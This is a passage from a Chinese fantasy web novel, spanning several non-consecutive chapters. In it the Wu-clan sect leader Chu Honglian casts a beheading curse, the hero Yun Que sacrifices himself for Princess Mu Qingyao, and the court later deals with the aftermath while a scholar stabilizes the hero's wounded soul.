杨七古直勾勾盯着奇怪的血液,声音仿佛被某种力量掐住了一样,半晌才沙哑着开口: “神魔之血……你是巫族后裔!” 古铜色的血液,注定不是人族应该拥有的东西。 时至今日,杨七古终于恍然大悟,原来被他视为红颜的女子,根本不是人族,而是巫族! 巫族,早已灭绝的古老异族,衍生于十万大山深处。 传说数千年前巫神现世,带来了天灾也带来了巫族子民,这些异族有着古铜色的血液,精通巫法,以活人炼蛊,以妖兽为坐骑,征战之处所向披靡,成为天下生灵共同的天敌。 巫族邪恶而强大,但存在时间十分短暂,很快消失在岁月长河之中,古籍上极少有巫族的描绘,通常只会一笔带过。 没人了解真正的巫族是什么模样,只知道巫族的血液与人族和妖族都不同。 在巫族消失的多年之后,世间留下许多传说。 传闻巫族的消失与儒圣有关,是儒家圣人以一己之力覆灭了恐怖的巫族,将巫神封印。 也有传闻说巫族并不适合天地气息,会被天地之力逐渐瓦解,虽然强大,最终注定会自行崩塌。 还有传闻说巫族是被佛陀感化,带去了西天极乐世界,从此世间安泰。 种种传闻,不计其数,将巫族的结局描绘成各种模样,至于真相,无人得知。 巫族消失了踪迹,但巫修这份修炼体系遗留了下来。 世人没见过真正的巫族,不过巫修的数量不在少数,由于巫修法门极其激进,很适合一些亡命之徒,只要不怕死,不怕被各种巫法反噬,就有机会搏出一份不俗的修为。 由于巫修法门太过邪恶,天祈学宫从建立之初就在学宫内禁止了巫修一脉。 巫族的传说,云缺听过不止一次,今日见到真正的巫族,云缺也为之大惊。 巫族不是妖兽,他们有着高深的心智,模样又与人族一样,很难分辨出其真正的身份。 杨七古错愕半晌,两只大手猛然捏紧,寒声道: “难怪你喜欢河水奔腾的样子,难怪你说你的家乡没有河,原来,你来自十万大山!” 杨七古当年的一份疑惑,自此彻底解开。 当年杨七古陪着楚红莲看遍了大晋的所有河流,他喜欢看到楚红莲在河水旁呼喊雀跃的模样,当时杨七古始终想不通,究竟住在什么山沟里,才会连一条小河都没见过。 现在杨七古明白了。 十万大山之内,的确没有河,只有连绵无尽的山峦叠嶂,只有无尽的毒虫猛兽! 楚红莲看了眼脚下的血迹,面无表情的道: “是啊,我的家就在十万大山深处,从小到大我从未见过河流,始终生活在暗无天日的丛林之内,与虫蚁为伴,不像你们人族有得天独厚的优势,你们有肥沃的土地,有繁华的城池,有丰富的资源。” “而我们巫族,除了十万大山之外,什么也没有,连一条河都没有!” “巫族贫瘠的程度,你可能这辈子也无法想象,当我来到大晋,吃到第一口鱼肉的时候,我觉得那是世间真正的美味,而在你们口中,鱼,只是普通寻常的一份食材罢了。” 楚红莲低笑了起来。 笑声不大,充满阴冷。 “我本以为你们人族才是万物之灵,可遇到你之后,我明白了一个道理,你们人族,永远会以自我为中心,朋友之间,君臣之间,夫妻之间,甚至父子之间,都没有纯粹的感情可言,一旦涉及到生死涉及到前途,你们都会犹豫,然后离弃!” 犹豫与离弃两个字,仿佛两把刀,深深扎在杨七古的心头,疼得他痛不欲生。 “不……不是这样的!不是!” 杨七古发出一声悲鸣,心神动荡。 楚红莲嗤笑了一声,道:“不用狡辩,当初我以人族身份成为你的知己,你都能犹豫一个时辰,若知道我是异族之人,你恐怕连犹豫都不会,直接离我而去,根本不会再过问我的死活!” “不!即便你是异族,只要你没有为祸天下,我仍然会救你!”杨七古悲声道。 “事到如今,你还不愿承认自己的虚伪,那好,今天就让你的弟子,为你演示一遍你当年的虚伪!” 楚红莲说罢,松开掐住牧青瑶的手,同时掐动出繁复而诡异的法诀。 第248章 断头台 红莲教主突然的出手,云缺早有预料,半蹲的姿态始终准备着冲锋,此刻脚下发力,整个人如同闪电般冲向牧青瑶。 无论是不是巫族,云缺明白楚红莲这个人,手段绝对残忍。 她能豢养嗜血魔莲吞噬整个鸿雁城的百姓,可见此人的心是冷的,毫无怜悯可言。 指望这种冷血之人放过牧青瑶,并不实际。 唯一的机会,是将牧青瑶从楚红莲的手里救下来。 云缺始终在蓄力,这次的冲锋速度极快,瞬间到了牧青瑶近前,同时妖刀中的妖爪朝着楚红莲凶猛砸落。 闷响声炸起! 妖爪砸中了楚红莲,但没伤到对方,被一层暗金色的流光挡住。 尽管这一击没有奏效,好在云缺抓住了牧青瑶,将小郡主从楚红莲的手里抢了回来。 云缺带着牧青瑶往后急退,等离开楚红莲数丈开外才站稳脚步。 云缺狂暴的心神终于稳定了几分。 牧青瑶脱离危险,是他最大的心愿。 然而云缺刚刚稳定的心神,在看到牧青瑶的模样之后,再次变得不安起来。 牧青瑶是救下来了,但身上多了些东西。 小郡主的脖子上多了一副木枷,双手的手腕上多了一副镣铐! “什么鬼东西!” 云缺大怒之下想要撕开枷锁,结果用尽全力也没能掰动分毫。 不仅木枷没断,被锁住的牧青瑶现出痛苦表情,俏脸惨白如纸。 “云缺莫要妄动!” 杨七古大喝出声,道:“这是咒言术,四品咒言师的最强诅咒!” 云缺错愕了一下,急忙道:“七叔帮忙救她!” 杨七古紧锁眉峰道: “咒言术一出,便无法阻止,除非同为四品咒言师,否则其他派系的四品修士无能为力。” 牧青瑶艰难的呼吸一口空气,朝着云缺微笑起来,虚弱道: “不用管我,我不怕,只要你好好活下去,我便心满意足……” 云缺的一双竖瞳在此刻晃动起来,浑身妖气与煞气不受控制的疯狂散发,宛若凶魔。 云缺缓缓转回身,将血瞳盯住楚红莲,杀气森森的道: “杀了你,诅咒即可迎刃而解!” 楚红莲淡然一笑,道: “你很聪明,心神如此狂暴的时候还能找到破解的办法,这一点与杨七古倒是有些类似,难怪他将你当做弟子,你身上,有杨七古年轻时的影子,可惜,凭你还杀不了我。” 云缺低吼着就要扑杀而去,却被杨七古死死按住了肩膀。 “她说得没错,你不是对手,我来!” 杨七古说罢,往前迈出一步,表情变得安详宁静,九根手指之上,开始出现一圈圈螺纹般旋转的流光。 楚红莲冷眼瞥着杨七古,道: “当年你不是我的对手,现在也一样,即便你能挡得住我,你也挡不住咒言术,你应该记得,我当年与你提及过一种奇特的法门,叫做断头台。” 断头台三个字,让杨七古的神色变得愈发冰冷。 他当然记得! 断头台,是咒言术中最为恐怖的一种法门,是无比邪恶的强力诅咒。 一旦施展出来,目标会被枷锁封住本体,如同押赴断头台,随后会有一把铡刀从天而降,切断人头! 杨七古豁然抬起双臂,两只手掌上光芒大起。 “当年我的确不是你的对手,不过,我有把握与你同归于尽!” 杨七古寒声道:“今日便是我们的死期,红莲,我很遗憾没能与你同年同月同日生,那便同年同月同日死!” 在杨七古的冷喝声中,他的九根手指分别绽放出不同的霞光,在半空形成一个又一个的虚影。 有的虚影是一棵参天古树! 有的虚影是一朵九彩奇花! 有的虚影是一棵金光灵草! 有的虚影是一株千年灵参! 九道虚影相继幻化而出,随后同时没入杨七古的本体。 封入手指数十年的奇珍,在此刻被杨七古尽数动用! 吸纳了九种异宝之力,杨七古的气息豁然暴增,冲击到四品巅峰的程度。 这还不算完,狂暴的药效加持之下,杨七古的气息还在攀升,几乎突破了四品,达到半步三品的地步! 灵药这种奇珍,用过便会消散。 杨七古封印的灵药,原本是用来冲击三品时的助力,如今顷刻间尽数消耗。 此时的杨七古,周身涌动着九种灵药的药香,整个人的气息完全在楚红莲之上。 看着杨七古耗尽一生的积蓄,楚红莲的嘴角泛起嘲讽的笑意,道: “当年不肯舍弃一根手指里的灵药来救我,如今宁愿舍弃所有手指里的灵药来杀我,人啊,真是虚伪的种族,杨七古,你以为耗尽灵药之力就能杀得了我么,你真是愚蠢!以我的修为岂能控制不住伤势,那滴血,是故意滴落而已。” 杨七古闻言豁然一惊。 他低头看去,刚才楚红莲滴落的那滴古铜色血液已经消失不见,渗入地底。 杨七古目光森冷,低喝道: “有什么手段,用出来就是,我接着!” “呵呵呵,就怕你接不住!”楚红莲的诡笑声中,地面开始晃动起来,幅度越来越大,直至地动山摇! 常威与瞎子目睹着眼前的一切,两人早被吓得魂飞魄散,动也不敢动,逃也不敢逃,始终杵在原地,地面一动,两人左摇右晃,险些摔倒。 “地龙翻身!”常威惊呼。 “山要塌啦!”瞎子惊呼。 两人都没猜对。 并非地龙翻身,也不是山峦塌陷,在震荡中,几人脚下的山体竟开始缓缓拔升! “这是……”杨七古惊疑不定。 “是我高看你们人族了,人族里都是些愚蠢之辈,连环境的改变都没人注意到。”楚红莲冷笑道:“杨七古,睁开你的眼睛好好看一看,这里是什么地方。” 杨七古自然知道此地是何处。 远处就是八山城。 “八山城外,八山之地。”杨七古冷声道。 “说对了,八山城以八山闻名,你不妨仔细数一数,现在到底是几座山呢。”楚红莲道。 杨七古环顾四周。 月光明朗,远处的八座山峦虽然在夜幕深处,但也能清晰的看到轮廓。 等看清了八座高山之际,杨七古再次一惊。 八山是没错,可脚下的山脉又是从何而来! 八山之地,多了一座山! 八山城以周围的八座高山而得名,多年来没人在乎过这些高山的名字,时而会弄混,甚至有些高山还被更改过数次名称。 尽管名字会被更改,但山峰的数量是不会变的。 八山,只有八座高山,如今竟出现九座! 而多出的一座,就是几人脚下的双角山! 如果诡异的现象,不仅杨七古震撼,云缺与常威和瞎子都在震惊不已。 尤其常威和瞎子。 两人在双角山占山为王多年,从来没去数过周围山峰的数量,此时看清了共有九座山之后,两人觉得心惊胆战。 黑风寨所在的双角山,到底是山,还是个山峰模样的怪物? 答案很快揭晓。 随着山体拔升,山顶的土石与树木相继断裂,现出了一块光秃秃的平地。 双角山两侧犄角形状的小山,在崩裂后呈现出两根黑漆漆如同塔尖般的硕大犄角! 在山顶偏下的位置,崩裂出两个数丈大小的山洞,山洞里晃动着幽蓝的鬼火。 那不是山洞,而是两个巨大到令人震惊的眼眶! 呼啸的风声出现。 在山体两侧,探出两只岩石组成的巨大手臂,手掌比城里的酒楼都要庞大! 看到这一幕,云缺已经彻底明悟。 双角山根本不是山,而是一个岩石组成的庞然大物,是一个真正的怪物! 难怪双角山有着金银两座罕见的矿藏,原来那金矿和银矿是这岩石怪物的筋骨! 岩石组成的两只手掌开始合并,轰然拍来。 杨七古怒喝着法力大起,同样伸出双臂,以全部力量将岩石大手撑开在身外。 尽管挡住了这一击,杨七古的脸色也变得苍白起来,十分吃力。 “四阶巅峰……” 杨七古从牙缝里蹦出两个字。 他从岩石巨人恐怖的力道中判断出对方的境界,堪比四阶巅峰妖兽! 一个楚红莲已经很难对付,如今出现的四阶巨兽,让杨七古陷入险地。 楚红莲哈哈大笑,道: “嗜血魔莲我只能暂时控制,很难真正驾驭,这一尊山岳力士,是我的伴生灵,我可以如臂指使!杨七古,你拿什么跟我斗?” 巫族的恐怖,在此刻尽显无疑。 四阶程度的山岳力士,相当于四品高手,加上楚红莲,就是两位四品! 杨七古只有一个人,让他面对两个四品的敌人,即便他摄取了灵药之力也很难应对。 尤其山岳力士的恐怖,在四阶妖兽当中绝对能排在前列,相当于四阶巅峰程度的妖兽! 常威和瞎子吓得魂儿都要飞了。 之前他们懊恼着自己住在金山却傻乎乎的打劫,认为自己是天底下最大的傻瓜。 现在才知道,原来自己住的不是金山,而是个怪物山! 现在常威和瞎子已经不懊恼了,反而觉得自己运气真好,在四阶怪物的头上打劫多年,居然还没死,真是天底下最幸运的傻瓜! 以山岳力士困住杨七古之后,楚红莲将目光转向牧青瑶与云缺,口中咏念出一段晦涩的咒言。 之前尚未完成的诅咒,在一段咒言之下彻底完成。 牧青瑶的头顶,凝聚出一把巨大的铡刀,宛如黑月,冷森森,慑人神魂。 只是看那铡刀一眼,常威和瞎子就开始浑身发抖,面无人色。 云缺死死的抓住牧青瑶,抬头看了眼铡刀,手里的妖刀直接斩出! 妖刀与铡刀相撞。 没有任何声音发出。 妖刀直接从铡刀上透过,一刀斩空。 那铡刀完全由诅咒之力形成,根本没有实体,斩不到,也挡不住! 铡刀开始缓缓下落,朝着牧青瑶的脖子斩下,速度越来越快! “断头台既成,无人能阻止,我可以告诉你们一个秘密,这份诅咒之力其实有个弊端,只要斩断一颗头颅即可完全消散,斩谁的都行,只要是人头即可。” 说罢,楚红莲脸上现出古怪的神色,望着云缺与牧青瑶道:“你们之间,注定会死一个人,谁死,谁活,你们自己选择。” 第249章 你的便宜我没占够 半空中斩落的铡刀,看似有形实则无质,是强大的诅咒之力汇聚而成,蕴含着四品咒言师的强大法力。 云缺的妖刀无法抵挡,根本砍不到! 灵芸郡主犹如被架在了真正的断头台上,等待着刀落人亡。 杨七古拼命撑开山岳力士的大手,想要来协助云缺抵挡铡刀,却被楚红莲以法力形成的一头怪蟒缠住,难以挣脱。 面对咒言师的杀招,云缺不肯坐以待毙,肩头的妖爪暴起全部妖力朝着铡刀抓去。 猩红的妖爪几乎凝聚成实体,堪堪抓住了铡刀。 抓是抓住了,但无法阻止铡刀落下的趋势,仅仅令铡刀的速度变缓了稍许。 黑漆漆的铡刀好似从地府中斩来,散发着森森死气,云缺的妖爪被快速消融,雾气四散。 挡不住! 楚红莲的嘴角始终挂着一抹冷笑,阴沉的道: “生死之择,认真的选吧……” 云缺与牧青瑶此时的模样,在楚红莲看来,变成了多年前的杨七古与自己。 当年杨七古若选择救她,便要断送修炼一途的前程,舍弃进阶的希望。 云缺如今若选择救牧青瑶,便要断送自己的一条命! 同样的选择,在二十年后再次呈现。 楚红莲不相信世上当真有至死不渝的爱意,她要揭穿人族真正的虚伪,让杨七古看一看,人族是多么无情寡义。 妖爪很快消散,下坠的铡刀带起风鸣。 那冷冽的风声,预示着将有一条生命随风而逝。 云缺怒吼着举起自己的双手,他要用这副肉身本体与那漆黑的铡刀抗衡。 云缺,是不会退的。 自从成为斩妖司的猎妖人,便是如此。 他的选择很简单,若无法抗住铡刀,那就葬身于此,绝不让牧青瑶丧命。 在抬起双手的刹那,云缺的身体忽然被推了出去,整个人朝后飞去。 推开他的,是小郡主。 灵芸郡主这一生做过很多选择。 选择成为儒家门人,苦读诗书,选择成为寻花之人,走遍天下,选择为了天下苍生而经历劫难。 今天,她选择了不牵连云缺,独赴黄泉! 牧青瑶不知哪里来的一股力气,将云缺整个身体推向远处。 小郡主的表情释然而平静,轻言道: “人生若得一知己,万千繁华皆浮云,有君相伴,生死何妨……” 屠刀临头,灵芸郡主没有任何惊恐,深深凝望着云缺,一双美目中流转着万般不舍,千般柔情,却没有丝毫畏惧。 有君相伴,生死何妨! 这便是灵芸郡主对云缺真挚而纯粹的情感。 一句生死何妨,听得楚红莲神色微沉,她所创造出的死劫,本想用来揭开人族的虚伪,却得到了一份坚定的回应。 牧青瑶做出了自己的选择。 宁可香消玉碎,也要云缺脱离险境。 牧青瑶已经感受到脖颈上方传来的冰冷,铡刀并未因为她的选择而有丝毫停顿,豁然斩落! 然而这一刻,牧青瑶平静的神态忽然变了,她看到被自己推开的云缺竟然在后仰中再度冲来! 云缺的确被推开, 整个人悬在半空,脚下丝毫没有着力之处,如果等到落地,那么牧青瑶注定会身首两分。 在被推开的那一刹那,云缺脚下出现了妖刀! 他一脚踏在妖刀之上,后仰的身体借助这份力道重新扑向前方。 没有丝毫犹豫,也没有半分停顿,在铡刀落下之前,云缺将小郡主拥在怀里。 “傻丫头,你的便宜我还没占够呢……” 牧青瑶只听到云缺说出几个字,耳边就响起了一声恐怖的声音。 咔嚓!!! 被拥在云缺怀里的小郡主,此时的瞳孔开始颤动,表情呆滞,一动不动,仿佛时间就此停止。 牧青瑶不敢动。 更不敢相信发生的事实。 她在临死之际都毫无惧怕,却在此时此刻惊恐得犹如一只迷途的小鹿。 时间,并不会停止,始终缓缓流逝,不以任何人的意念所改变。 牧青瑶浑身颤抖的慢慢抬头,看到了云缺那张挂着笑意的脸庞。 安详如昔,就像第一次在青狐山相遇。 牧青瑶颤抖的小手想要去摸一下那张脸,可云缺的人头却直接滚落而下,掉到她手上。 扑通。 无头的身体栽倒在一旁。 惨白的明月之下,小郡主愣怔怔站在山顶,怀里,抱着云缺的人头。 风停了,天地间压抑无声。 楚红莲的眉宇间,阴沉的神色愈发浓郁,目光低沉。 她给出了一份以生死为题的答卷,答题的两人,却答出了相同的答案。 这份答案只有四个字: 至死不渝! 楚红莲想要看到两人各自求生绝情断义的一幕,并没有出现,这一点令她无比懊恼,同时心神巨震。 原来,人族当中也存在着如此纯粹的感情…… 空旷的山顶,响起小郡主一声凄厉悲鸣。 “云缺!!!!!!!!!!!!!” 牧青瑶抱着人头泪如雨下。 漆黑的铡刀在夜幕中就此消散,灵芸郡主身上的枷锁随之消失一空。 楚红莲没有说谎。 断头台无法阻止,不过,能以一命换一命的办法来抵消。 “楚红莲!”杨七古奋力崩开那怪蟒,怒吼道:“你该死!!!” 杨七古犹如一头愤怒的雄狮,浑身法力不计代价的催动,冲向楚红莲。 不等他接近,山岳力士的大手再次拍落。 面对楚红莲与山岳力士,杨七古即便使出浑身解数也难以斩杀强敌,只能勉励抵挡。 楚红莲冷冷的瞥了眼杨七古,随后将目光落在牧青瑶身上。 此时的小郡主将人头轻轻放在地上,轻声道: “别急,我马上来陪你……” 最后看了眼云缺的脸睱,小郡主捡起妖刀,一步步向楚红莲走去。 走得无比决然! 楚红莲有些恍惚,目光中现出一阵茫然。 在她面前,牧青瑶与一只蝼蚁无异,居然有勇气提刀而来。 螳臂当车这四个字,在楚红莲脑海里浮现。 螳臂,注定无法挡住滚滚而来的车轮,最后的结局只能会被碾成齑粉! 明知送死,为何还要提刀? 恍惚间,楚红莲有些明白了牧青瑶的心念。 为了所爱之人,宁可舍弃生命也要复仇! 楚红莲凄然一笑,低语道: “纯粹的人,也是愚蠢的人。” 牧青瑶的脚步越来越快,越来越急! 小郡主的俏脸苍白如纸,遍布着决然之色。 冲到近前,牧青瑶用尽所有力量举起妖刀,斩向强敌。 这一刀,注定不会有任何威能。 连云缺都斗不过的巫族强者,一个只有七品修为的柔弱郡主,又如何能战胜。 楚红莲连躲都没躲,仅用自身法力的余威,就将妖刀轻易挡住。 反震的巨力,将牧青瑶整个人崩飞出去,跌到远处。 牧青瑶挣扎着爬起来,她眼睁睁看着漆黑的妖刀,在楚红莲那强大的法力之下渐渐融化,渐渐消失。 当妖刀完全消散的那一刻,小郡主心如死灰,跪坐在地,失去了全部力量。 妖刀,代表着云缺的生命。 这把强大的武器,在外人手里注定展现不出任何威能,消散成虚无。 远处,常威与瞎子目睹了一切,两人互相看了眼,紧紧抓着刀,选择了同样的方向。 没有逃跑,而是冲向红莲教主! 楚红莲早知道山顶还有两个活人,她不以为意,弱小的人族对她来说毫无威胁。 可是当两只蚂蚁般的弱者,不顾代价朝她发动冲锋之际,楚红莲的眉峰锁得更深几分。 “替二当家报仇!” “宰了她!” 常威与瞎子发疯般冲来,又被垃圾般丢了出去。 四品强者,他们连近身的机会都没有,各自摔在远处,口喷鲜血。 楚红莲甚至连法术都没用,只是以自身强横的气息,就让常威与瞎子爬不起来。 楚红莲的脸色变得愈发难看。 短短时间内,她看到了很多人的选择。 牧青瑶选择推开云缺赴死。 云缺选择以自己的血肉之躯抗衡铡刀。 杨七古选择同归于尽。 连常威与瞎子这两个喽啰都选择亡命一战。 这些选择,楚红莲无法理解。 她来到人族的世界数十年之久,看到的,是卑鄙与狡诈,是勾心斗角,是朋友间的貌合神离,是夫妻间的同床异梦,是君臣间的心怀鬼胎。 但今天,她看到了以往不曾看见的东西。 楚红莲对人族的认知,在此刻被渐渐打碎。 楚红莲变得愤怒而懊恼。 冷冰冰的目光,盯住了远处的灵芸郡主。 牧青瑶此时也扬起头,冷冽的目光中充满了恨意。 “你们很般配,像两块无瑕美玉,既然他已经死去,你若独活,便不完美。” 楚红莲低语中,抬起手,指向牧青瑶,在其指尖前端凝聚出一把冰晶长剑! “念你一往情深,我成全你们,送你们一起去地府!” 楚红莲冷声低喝,冰晶长剑豁然飞出,直奔牧青瑶的咽喉! 冰剑的速度太快,转瞬即至,杨七古被山岳力士缠住难以抽身,无力援手,只能发出一声不甘的怒吼。 杨七古已经心神大乱。 救不下云缺也救不下牧青瑶,杨七古此时无比自责,他现在唯一的执念,就是与楚红莲同归于尽。 迎着斩来的冰剑,牧青瑶始终瞪着美目,咬紧银牙,一眼不眨。 即便死,也要死得有尊严! 小郡主的牙关咬出了轻响,代表着她此时内心的愤怒与绝望。 在牧青瑶咬牙的同时,一个奇怪的声音出现。 咔嚓! 那是牙齿咬合的响动。 只不过比起小郡主咬牙的声音要刺耳得多。 牧青瑶豁然一惊,仔细一看,不由得心神巨震。 袭来的冰剑,堪堪停在面前,还差一寸就会切进自己的脖子。 并非楚红莲收手,而是冰剑被人一口咬住! 确切的说,咬住冰剑的不是人,而是一颗人头。 云缺的人头! 第253章 斩妖司复活赛 天祈城。 大战过后,皇城内一片萧条。 红莲教带来的这场劫难,让禁军与城内守军伤亡惨重,仅存的二十万禁军又损失过半。 幸运的是,皇城内的百姓没有太多伤亡。 虽然屋舍酒楼坍塌了不少,建筑损毁严重,但绝大部分百姓都安然无恙。 这一点,其实多亏了两个人。 云缺与门六。 当嗜血魔莲从地底抵达皇城之后,始终追杀着两人,对别的血食根本不感兴趣,后来被引到皇宫,直至被彻底斩杀。 血袍军的目标也是皇宫,最后被魔莲尽数吞噬转化为力量,一个没剩。 天亮后,殷子受听说战斗已经结束,他在暗卫的护卫下战战兢兢来到皇宫外。 看着眼前的废墟,殷子受后怕不已。 他怕自己晚走一步,死在此地。 至于尽数遇难的皇后皇妃等一众家眷,殷子受连问都懒得问。 如此劫难,他这个皇帝能活下来就足够了,其他人的死活,殷子受根本不在乎。 得知红莲教彻底覆灭,殷子受来了精神,命人将燕无鹰的尸体千刀万剐,再用油锅炸三遍,然后喂狗。 皇宫被摧毁,皇帝暂住在皇城内的皇家别院。 文武群臣汇聚于此。 殷子受急着了解邵武国的动向,得知天门关遭遇奇袭之后,邵武国派出来的大军停在原地,不再向皇城逼近。 殷子受长出一口气。 他认为局面已经得到控制,大晋重新掌握在他手中,红莲教与草原人的威胁就此消除,只剩下邵武国一个对手。 周史伯在皇帝面前请罪,擅自调离白厌,这份罪名首辅一力承担。 殷子受故作大度的赦免了首辅。 毕竟奇袭天门关的结果还算不错,尽管没时间将边关夺回手里,至少阻止了邵武国进攻皇城的念头。 皇帝看似轻描淡写的赦免无罪,可心里已经记恨上首辅。 胆敢私自调动禁军指挥使,这一点触及了殷子受的底线,他看向首辅的目光深处,藏着森森冷意。 接下来是论功行赏。 与魔莲作战的禁军与刑部众人,都得到不菲的赏赐。 上官鸿途升任为刑部尚书,陈洲骅升为刑部侍郎,几乎人人都升官,人人有重赏。 唯独司天监,只得到皇帝的口头嘉奖,并无任何实质奖励。 殷子受在怨恨监正。 昨晚的恶战,监正始终没现身,殷子受认为监正在避祸,对司天监哪能有什么好脸色。 司天监的其他人不给封赏还说得过去,可云缺不封赏是不行的。 因为云缺有一份无人能及的功劳。 斩杀红莲教主! 当首辅提及云缺的功劳,殷子受的脸,直接开始发黑。 皇帝在愤怒。 云缺昨晚的所作所为,差点把殷子受给害死。 人家孜孜不倦,来回三趟的往皇宫里引怪物啊! 还是当着殷子受的面往皇宫引! 在殷子受看来,昨晚要是没有云缺,皇宫也不能变成废墟。 皇帝对云缺恨之入骨。 可偏偏人家斩杀了红莲教主,这份功劳,皇帝无法视而不见,否则会寒了所有文武的心。 没办法之下,殷子受忍着怒火,封云缺为侯爵。 年少得志,一朝封侯! 云缺这份功劳实在太大,不封侯都说不过去了,文武百官没人有异议,全部认同。 殷子受知道云缺封侯肯定是众望所归,但封侯之后,他用了个险恶的手段。 将云缺侯爵的封号,定为‘平天’二字。 平天侯! 当皇帝定下封号之后,周史伯立刻一皱眉。 平天这二字,气势太大了! 阜南王充其量被私下里称为镇南王,镇字已经足够霸气。 再气势磅礴一些就用个平字,平南,平西,意味平定南北东西四方,听起来一往无前,摧枯拉朽。 可平天,意思是平定天下! 是扫平天穹! 大晋的各路王侯,或许知道云缺的能耐不会多说什么,可其他国度的高手呢。 云州之上,晋国只是区区小国而已。 一听说大晋有个平天侯,其他那些庞大的国度肯定不会服气,这封号拿出去简直是一种挑衅。 平天侯三个字,在首辅眼里与齐天大圣都没什么区别了。 太过招摇! 满朝文武都看得出来,皇帝在捧杀云缺。 首辅心里暗暗一叹,对殷子受失望至极。 晋皇没什么治国的手段,害人的手段却花样百出。 由于云缺没在,殷子受问了问旁人。 得知云缺重创昏厥不知能否苏醒,殷子受大喜过望,直接脱口而出: “好!” 这个好字,说得气势浑然,连旁边的宫女和太监都听得出来,肯定发自内心。 群臣纷纷错愕。 皇帝知道说漏嘴了,急忙改口道: “好生可惜!云爱卿为我大晋立下汗马功劳,此番定可转危为安,来人呐,让御医挑选最好的灵药送去司天监。” 封赏结束,群臣商讨国事。 皇城外的妖兽,学宫已经出面处理,很快即可清除完毕,无需大晋这边多费心思。 如今唯一的威胁,只剩下邵武国盘踞在大晋境内的五十万大军。 周史伯建议直接开战,召集所剩的禁军与守军,趁着邵武国根基不牢,至少将其打回天门关,否则一旦让邵武国占稳了一座城池,对大晋极为不利。 这些天来,陆续有其他城池的守军汇聚到天祈城附近,如果倾巢而出的话,加上皇城里现有的守军与禁军,凑够三十万人马不难,等距离更远的守军抵达,大晋这边的兵力还会翻倍。 皇帝一听,直接否决。 殷子受现在做病了,只要皇城一空他就心惊肉跳,说什么也不肯主动出兵,反而一意孤行派遣特使去找邵武国谈判,想要以金钱为代价,劝说邵武国退兵。 皇帝打着破财消灾的心思。 连番几次大战,让殷子受领略到战争的恐怖,他现在就想安安稳稳做皇帝,实在不行,就把邵武国大军现在占领的地方全送给邵武国,再从新修建一道边界。 少点土地算什么,比起皇位,殷子受宁可选择息事宁人。 周史伯这次没再规劝,首辅是沉着脸走的。 身为皇帝,本该寸土不让,别说三百里疆土,一步之遥的国土,也要拼死而战! 殷子受的所作所为,彻底伤透了首辅的心。 从这天开始,首辅告病,不再上朝。 相比于萧条的皇城,斩妖司格外热闹。 常威和瞎子扯了块红布,挂在斩妖司大门口,上面写了四个大字。 ‘云缺加油!’ 两人一番好意,借此来给云缺助威,其他的,他们实在帮不上忙。 接连不断有人来探望云缺。 首辅周史伯,白厌,上官鸿途,陈洲骅与一众刑部令史,加上花不谢司徒盼晴等司天监的人,斩妖司就没有安宁的时候。 陈洲骅看到云缺沉眠不醒的模样,悲从中来,唉声叹气。 第254章 小弟随后就来 牧青瑶将大祭酒请到病房。 杨七古正在给云缺把脉,见到秦蒙,立刻起身拱手道: “杨某见过大祭酒。” 秦蒙道: “一别二十载,杨先生风采依旧。” 杨七古苦涩一笑,道:“在下一介迂腐之人,聊度余生罢了,孤家寡人,谈何风采。” 秦蒙望了眼沉眠不醒的云缺,道:“至少,你收了个难能可贵的弟子。” 杨七古苦笑道: “我与云缺并无师徒之名,亦师亦友而已,这小子从小调皮,混账得很,即便认真教他,他也不学,我的医术,他连半点兴趣都没有。” 说着埋怨之言,杨七古的神色则充满欣慰。 “是很调皮,演武殿的一众学子,现在还有闹肚子的。”秦蒙微笑道:“云缺是个好苗子,杨先生因材施教,才让这棵苗子没长歪,学问难得,传授学问的手段,更难得。” 杨七古闻言沉沉一叹。 他能在潜移默化中教导云缺这世间的道理,却无法在楚红莲手里保住云缺。 他这位老师,并不合格。 大祭酒看出杨七古的自责,道: “人各有命,你已经尽力了,我这次来,是来还云缺一份人情。” 当初妖山大阵被破坏的时候,是云缺挡住的满山妖兽,当时秦蒙亲口承诺欠云缺一份人情。 牧青瑶听闻后立刻眼睛发亮,在心头泛起希望。 只要大祭酒肯出手相助,云缺就有醒来的机会! 但杨七古的表情始终沉重,没有丝毫缓和,因为他知道云缺真正的伤势,即便大祭酒出手也回天乏力。 秦蒙不再多言,仔细感知着云缺的伤势。 屋子里寂静无声。 牧青瑶连呼吸都开始放缓,生怕惊扰大祭酒,怕云缺再也无法醒来。 秦蒙的眉峰一点点锁紧,良久后,低声道: “神魂将裂……” 牧青瑶觉得心头一沉,喉咙里仿佛堵住一块石头。 小郡主终于知道,她将云缺的伤势,想象得还是太轻了。 原来云缺的神魂已经到了即将崩塌的程度! 扑通一声。 小郡主跪倒在地,泪眼朦胧的道:“求大祭酒救救云缺!” 秦蒙轻轻挥手,一阵清风将牧青瑶扶了起来。 “既然是来还人情,老夫自然尽力而为,让他醒来恐怕做不到,我只能助他稳固元神。” 秦蒙说罢,深吸一口气,抬指点在云缺的眉心,口中低语道:“修正其身,以待天命,修正其魂,以待朝暮,修正其念,以待因果。” 随着大祭酒的低语,云缺的眉心出现一团光芒,呈天青之色,毫无杂质,看得久了整个人仿佛在观望天穹。 一阵晦涩而奇异的气息在房间中起伏,如温和的海浪,让人觉得心神宁静。 杨七古的神色变得十分凝重。 牧青瑶则渐渐惊讶起来。 小郡主感受到一种惊人的文气,在那团青光中盘旋。 大祭酒用的手段,是文气固魂! 儒家修士都有机会修出文气,可以说文气的存在,远远不及浩然气珍贵,但大祭酒的这道文气,凝实的程度是牧青瑶从未见过的。 牧青瑶自身也有文气,可是与那青光里的文气相比,简直如萤火与皓月的差距! 青色的光团缓缓沉入眉心,沉进云缺的神识之海。 躺在榻上的云缺,从外表看并没有什么变化,依旧如同活死人一样,没有醒来的征兆。 杨七古却十分清楚,云缺被重创的神魂,得到了一次难能可贵的修复。 第255章 绿帽子别乱戴 黑云里充满着冷意。 是一种奇诡的彻骨之寒。 肉身本体无法感受,只有神魂才能体会。 冷! 云缺迈入黑云的瞬间,只觉得通体冰寒,如坠冰窟。 咬了咬牙,云缺迈步向前走去。 走进黑云的那一刻,云缺的元神发生了变化。 每走一步,元神的状态就会缩小。 随着不断前行,神魂凝聚的身体变得越发年轻,逐渐变成孩童。 眼前的黑暗里,接连闪过一些记忆中的画面。 去年深秋,与灵芸郡主在青狐山相遇。 前年盛夏,带着乌灵儿姐妹在山里打野味。 十五岁那年,在藏石镇衙门讨了个仵作的职位。 十岁那年,追杀一头妖兽险些迷路。 六岁那年,第一次来到白玉城,认识了梅钱…… 一年又一年的回忆,在前行中纷纷呈现。 